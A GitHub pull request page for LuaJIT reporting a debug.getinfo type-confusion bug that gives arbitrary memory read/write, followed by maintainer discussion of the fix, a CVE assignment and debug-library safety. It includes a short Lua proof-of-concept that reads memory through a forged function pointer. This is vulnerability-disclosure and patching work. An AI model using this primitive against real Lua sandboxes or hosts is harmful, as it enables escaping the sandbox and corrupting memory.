Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

debug.getinfo arbitrary memory read/write #526

Closed
wants to merge 1 commit into from
Closed

debug.getinfo arbitrary memory read/write #526

wants to merge 1 commit into from

Conversation

Badger9
Copy link

@Badger9 Badger9 commented Nov 13, 2019

If the first argument is a valid stack level and the first character in the options argument for debug.getinfo is >, then the final argument will be used as the function.
e.g.
debug.getinfo(0, ">", debug.getinfo)

In release mode, the final argument's type is never ensured to be a function. This means that we can pass whatever we want to it. For example, if we passed the double representation of a uintptr_t that points to whichever address we want to read memory from it'll return a function at that address. To read memory, we can simply call debug.getfenv on the function and then call string.format("%p",env) to get the contents of the memory. This is shown in a POC below:

-- Getting the length of a string

local str = "abcd"

-- 12 is the offset of string length
local address = tonumber( string.format( "%p", str ), 16 ) + 12

-- Convert to a double, address - 8 (env offset)
-- https://github.com/notcake/carrier/blob/master/lua/carrier/packages/pylon.bitconverter.lua#L219-L244
address = UInt32sToDouble( address - 8, 0 )

-- This turns the address into a function
local func = debug.getinfo( 0, ">f", address ).func

-- This is supposed to get the environment of the function
-- but it allows us to read memory by formatting the address
-- into a pointer
local length = debug.getfenv( func )

-- Format the address into a pointer
-- prints 4, the length of the string
print( tonumber( string.format( "%p", length ), 16 ) ) 

This can be further exploited to enable arbitrary memory writing.

@Totktonada
Copy link

See also tarantool/tarantool#3833 and tarantool@422c986

@siddhesh
Copy link

Thanks, this is fixed in moonjit with moonjit@35fde41 which is the same as tarantool@422c986 . The report is also a duplicate of #509

@Badger9
Copy link
Author

Badger9 commented Nov 13, 2019

No, that didn't fix the issue. The fix proposed in both of those PRs only checks if there's more than 2 arguments. Mine has 3 arguments and can go as high as LuaJIT allows due to it using the last argument as the function.

@siddhesh
Copy link

Sorry, I shouldn't have rushed to a conclusion. I'll take a closer look at this later.

siddhesh added a commit to moonjit/moonjit that referenced this pull request Nov 16, 2019
This reverts commit 35fde41.
LuaJIT#526 has a more complete solution.
siddhesh pushed a commit to moonjit/moonjit that referenced this pull request Nov 16, 2019
If the first argument is a valid stack level and the first character
in the options argument for debug.getinfo is >, then the final
argument will be used as the function.  e.g.  debug.getinfo(0, ">",
debug.getinfo)

In release mode, the final argument's type is never ensured to be a
function. This means that we can pass whatever we want to it. For
example, if we passed the double representation of a uintptr_t that
points to whichever address we want to read memory from it'll return a
function at that address. To read memory, we can simply call
debug.getfenv on the function and then call string.format("%p",env) to
get the contents of the memory.

This can be further exploited to enable arbitrary memory writing.

Pulled from LuaJIT#526
siddhesh added a commit to moonjit/moonjit that referenced this pull request Nov 16, 2019
This reverts commit 35fde41.
LuaJIT#526 has a more complete solution.
siddhesh pushed a commit to moonjit/moonjit that referenced this pull request Nov 16, 2019
If the first argument is a valid stack level and the first character
in the options argument for debug.getinfo is >, then the final
argument will be used as the function.  e.g.  debug.getinfo(0, ">",
debug.getinfo)

In release mode, the final argument's type is never ensured to be a
function. This means that we can pass whatever we want to it. For
example, if we passed the double representation of a uintptr_t that
points to whichever address we want to read memory from it'll return a
function at that address. To read memory, we can simply call
debug.getfenv on the function and then call string.format("%p",env) to
get the contents of the memory.

This can be further exploited to enable arbitrary memory writing.

Pulled from LuaJIT#526
siddhesh added a commit to moonjit/moonjit that referenced this pull request Nov 16, 2019
siddhesh added a commit to moonjit/moonjit that referenced this pull request Nov 16, 2019
@siddhesh
Copy link

I took a closer look at this and I agree your fix is more complete. The argument count is no longer necessary, so I've reverted that patch. I've pulled it into moonjit master as well as v2.1 branches now and also added a couple of tests.

@carnil
Copy link

carnil commented Dec 3, 2019

This issue has CVE-2019-19391 assigned.

@MikePall
Copy link
Member

MikePall commented Dec 3, 2019

The debug library is UNSAFE. This has always been the case and is the same for Lua. With the debug library there are already dozens of ways to crash the VM, confuse the interpreter or compiler, corrupt memory etc. etc. etc. ... this is neither surprising nor new.

It's minor bug in the debug library, but assigning a CVE for that is TOTALLY INAPPROPRIATE.

@ExtReMLapin
Copy link

You're not supposed to release your app with the debug library

@carnil
Copy link

carnil commented Dec 3, 2019

@MikePall: note that I was only the messenger here, while reviewing some new CVEs which appeared in the CVE feed from MITRE. In this case, could you bing the issue on the CVE assignment (REJECT or dispute it) to MITRE CNA via https://cveform.mitre.org/ ?

@MikePall
Copy link
Member

MikePall commented Dec 4, 2019

@carnil Thanks, I've requested a rejection.

@CapsAdmin
Copy link

Is it useful to deem the entire debug library unsafe? debug.traceback and debug.getinfo can be used for better error handling but I wouldn't think that they are as unsafe as some of the write functions like debug.setupvalue.

Maybe they shouldn't be a part of the debug library, or maybe luajit can list functions that are guaranteed safe to use or provide a safe alternative. Like a version of debug.getinfo without the func field if that can confuse the jit compiler.

@ExtReMLapin
Copy link

Caps, I guess it makes sense for a dev/tech guy to have this kind of informations/function, but the end user should never need to have access to it.

Gmod is a different context, there is shit (lua) code everywhere, so you need to be ready to debug at any time.

@meepen
Copy link

meepen commented Dec 4, 2019

Everyone knows the debug library isn't "safe"; but what does "safe" mean? Because from what it seems like here and in the past it means that no one cares to fix important issues of a library many people depend on in different circumstances on the basis that it's not "safe".

@CapsAdmin
Copy link

I assume safe here means that you cannot escape or mess with the host of the Lua environment. Javascript in a browser (and gmod) has this issue.

Speaking of garry's mod (gmod), they ended up disabling all write debug functions a while back.

I don't think I've used the debug library except for debug.traceback and maybe debug.getinfo in code that's meant to be used by others.

This is kind of off topic though, it's more of a Lua design issue imo.

@MikePall
Copy link
Member

MikePall commented Dec 8, 2019

DUP of #509 #510

@MikePall MikePall closed this Dec 8, 2019
@Badger9 Badger9 deleted the patch-1 branch December 8, 2019 23:50
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

8 participants